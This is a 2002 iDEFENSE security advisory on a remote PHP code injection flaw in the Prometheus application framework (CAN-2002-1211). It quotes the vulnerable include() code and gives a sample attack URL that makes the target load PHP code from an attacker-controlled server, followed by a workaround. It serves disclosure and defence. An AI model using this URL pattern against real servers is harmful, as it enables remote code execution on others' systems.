iDEFENSE Security Advisory 10.31.02b: Prometheus Application Framework Code Injection

["David Endler" <dendler () idefense com>]

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iDEFENSE Security Advisory 10.31.02b: 
http://www.idefense.com/advisory/10.31.02b.txt
Prometheus Application Framework Code Injection
October 31, 2002

I. BACKGROUND

Jason Orcutt's Prometheus is a web application framework written in
PHP. It is available at http://prometheus.zerodivide.net.

II. DESCRIPTION

A remote attacker can inject into Prometheus arbitrary PHP code that
executes under the privileges of the underlying web server. The crux
of the problem lies in the following snippet of code extracted from
the top of prometheus-library/all.lib:

if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) || 
$PROMETHEUS_LIBRARY_BASE == '') {
    $PROMETHEUS_LIBRARY_BASE = './prometheus-library';
}

if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) {
    $PHP_AUTO_LOAD_LIB = 0;
}

if ( ! isset( $PROMETHEUS_LIB_PATH ) ) {
    $PROMETHEUS_LIB_PATH = 0;
}

if ( $PHP_AUTO_LOAD_LIB == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' );
}

if ( $PROMETHEUS_LIB_PATH == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/prometheus-
lib.path' );
}

An attacker could force the application to load a tainted version of
autoload.lib and prometheus-lib.path that contains arbitrary PHP code
from a remote server by setting PHP_AUTO_LOAD_LIB to "0" and
PROMETHEUS_LIBRARY_BASE to the address of the remote server. The
following scripts can be targeted in this attack because all.lib is
included without any filtering:

* index.php
* install.php
* test_*.php

The following is a sample attack URL that would cause "target.server"
to load autoload.lib and prometheus-lib.path from "attackers.server".

http://target.server/prometheus-
all/index.php?PROMETHEUS_LIBRARY_BASE=http://attackers.ser
ver/&PHP_AUTO_LOAD_LIB=0

III. ANALYSIS

Remote exploitation allows an attacker to execute arbitrary commands
and code under the privileges of the web server. This also opens the
door to privilege escalation attacks.

IV. DETECTION

iDEFENSE has verified that Prometheus 6.0 is vulnerable. Versions
3.0-beta and 4.0-beta are also reportedly vulnerable. Other earlier
versions may be vulnerable as well. To determine if a specific
implementation is vulnerable, experiment with the above-described
attack.

V. WORKAROUND

* First, locate the files that make dangerous calls to include(). 
The following sample command line accomplishes this:

$ grep -n all.lib * -r | grep _BASE
index.php:23:include( $PROMETHEUS_APP_BASE .
'/prometheus-library/all.lib' );
scripts/view_theme.php3:6:include( 
$PROMETHEUS_LIBRARY_BASE . '/all.lib' );

* Next add the following line above the calls to include():

$PROMETHEUS_LIBRARY_BASE = './prometheus-library';

This should prevent attackers from arbitrarily setting the
PROMETHEUS_LIBRARY_BASE variable to point to a remote location.

VI. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
assigned the identification number CAN-2002-1211 to this issue.

VII. DISCLOSURE TIMELINE

09/28/2002      Issue disclosed to iDEFENSE
10/14/2002      Author notified via e-mail to zerodiv () zerodivide net
10/14/2002      iDEFENSE clients notified
10/14/2002      Response received from zerodiv () zerodivide net
10/31/2002      Cooridinated public disclosure

VIII. CREDIT

Karol Wiesek (appelast () bsquad sm pl) is credited with discovering
this vulnerability.



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- -dave

David Endler, CISSP
Director, Technical Intelligence
iDEFENSE, Inc.
14151 Newbrook Drive
Suite 100
Chantilly, VA 20151
voice: 703-344-2632
fax: 703-961-1071

dendler () idefense com
www.idefense.com

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